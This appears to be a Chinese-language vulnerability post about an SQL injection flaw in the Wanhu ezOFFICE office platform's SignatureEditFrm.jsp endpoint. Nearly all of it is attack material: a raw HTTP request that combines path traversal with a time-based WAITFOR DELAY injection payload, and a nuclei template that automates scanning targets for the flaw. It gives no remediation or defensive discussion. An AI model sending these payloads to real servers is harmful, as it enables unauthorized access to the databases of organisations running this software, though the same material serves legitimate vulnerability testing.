万户协同办公平台ezoffice_SignatureEditFrm_存在SQL注入漏洞(附nuclei)

GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iWebRevision.jsp/Signature/SignatureEditFrm.jsp?SignatureID=1;WAITFOR%20DELAY%20%270:0:3%27-- HTTP/1.1Host: {{hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Connection: closeUpgrade-Insecure-Requests: 1

id: wanhu-ezoffice-SignatureEditFrm-SQLinfo:  name: 万户协同办公平台ezoffice_SignatureEditFrm_存在SQL注入漏洞  author: 小白菜  severity: critical  description: |  metadata:    fofa-query:   reference:    - https://  tags: autohttp:  - raw:      - |          GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iWebRevision.jsp/Signature/SignatureEditFrm.jsp?SignatureID=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1          Host: {{Hostname}}          Upgrade-Insecure-Requests: 1          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7          Accept-Encoding: gzip, deflate, br          Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7          Connection: close    matchers:          - type: dsl            dsl:              - duration>=5 && contains_all(body,"印签管理")